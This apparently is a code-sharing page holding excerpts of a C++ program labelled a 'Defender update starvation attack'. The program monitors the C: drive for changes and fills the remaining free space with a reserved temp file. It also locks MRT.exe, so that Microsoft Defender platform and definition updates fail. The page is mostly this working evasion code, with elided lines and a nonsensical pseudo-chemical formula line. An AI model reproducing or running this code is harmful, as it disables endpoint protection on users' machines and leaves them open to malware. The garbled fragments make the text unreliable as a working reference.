adaptive-update-starvation.cpp
Defender update starvation attack
Adaptive Defender update disk starvationDefender update transient-file disk starvation
SHA-2569c1c796ada74f7b9699f97fe4f20c40ebcc7be9702a318e821f101ff434bedf0
MaleculeO(I₃)H₃(F₆Os₂Po)
Evidence
1#include <Windows.h>
2#include <winternl.h>
3
4typedef struct _FILE_FS_FULL_SIZE_INFORMATION_LOCAL {
5 LARGE_INTEGER TotalAllocationUnits;
6 LARGE_INTEGER CallerAvailableAllocationUnits;
7 LARGE_INTEGER ActualAvailableAllocationUnits;
8 ULONG SectorsPerAllocationUnit;
9 ULONG BytesPerSector;
⋯11 lines
21:15… ME_INFORMATION query_volume =
22 (QUERY_VOLUME_INFORMATION)GetProcAddress(
23 GetModuleHandleW(L"ntdll.dll"),
24 "NtQueryVolumeInformationFile"
25 );
26 IO_STATUS_BLOCK status = {0};
27 FILE_FS_FULL_SIZE_INFORMATION_LOCAL size = {0};
28 query_volume(volume, &status, &size, sizeof(size), FileFsFullSizeInformation);
29 return size.ActualAvailableAllocationUnits.QuadPart *
30 size.SectorsPerAllocationUnit * size.BytesPerSector;
31}
32
35:2… UNICODE_STRING name;
36 RtlInitUnicodeString(&name, L"\\??\\%TEMP%\\{4D54D93D-6A62-4B41-82A8-B3914923B7B1}");
37 OBJECT_ATTRIBUTES attributes;
38 InitializeObjectAttributes(&attributes, &name, OBJ_CAS …
41:33… ing_capacity(volume);
42 HANDLE reservation = NULL;
43 return NtCreateFile(
44 &reservation,
45 GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
⋯12 lines
58static HANDLE deny_mrt_replacement(HANDLE volume) {
59 UNICODE_STRING name;
60 RtlInitUnicodeString(&name, L"Windows\\System32\\MRT.exe");
61 OBJECT_ATTRIBUTES attributes;
62 InitializeObjectAttributes(&attributes, &name, OBJ_CASE_INSENSITIVE, volume, NULL);
63 IO_STATUS_BLOCK status = {0};
64 HANDLE mrt = NULL;
65 NtCreateFile(
66 &mrt,
67 FILE_READ_ATTRIBUTES | SYNCHRONIZE | FILE_READ_DATA | FILE_EXECUTE,
68 &attributes,
69 &status,
70 NULL,
71 FILE_ATTRIBUTE_NORMAL,
72 FILE_SHARE_READ,
73 FILE_OPEN,
74 FILE_SYNCHRONOUS_IO_NONALERT,
⋯6 lines
81int main(void) {
82 const wchar_t *platform_updates =
83 L"ProgramData\\Microsoft\\Windows Defender\\Platform\\";
84 const wchar_t *definition_updates =
85 L"ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\";
86 HANDLE volume = CreateFileW(
87 L"C:\\",
88 FILE_LIST_DIRECTORY | FILE_READ_ATTRIBUTES,
89:46… FILE_SHARE_DELETE,
90 NULL,
91 OPEN_EXISTING,
92 FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
93 NULL
94 );
95 deny_mrt_replacement(volume);
96 BYTE changes[4096] = {0};
97 DWORD transferred = 0;
98 ReadDirectoryChangesW(
99 volume,
100 changes,
⋯11 lines
112 event->Action == FILE_ACTION_MODIFIED ||
113 event->Action == FILE_ACTION_REMOVED) {
114 CreateThread(NULL, 0, reserve_capacity, volume, 0, NULL);
115 }
116 return platform_updates[0] == definition_updates[0];
117}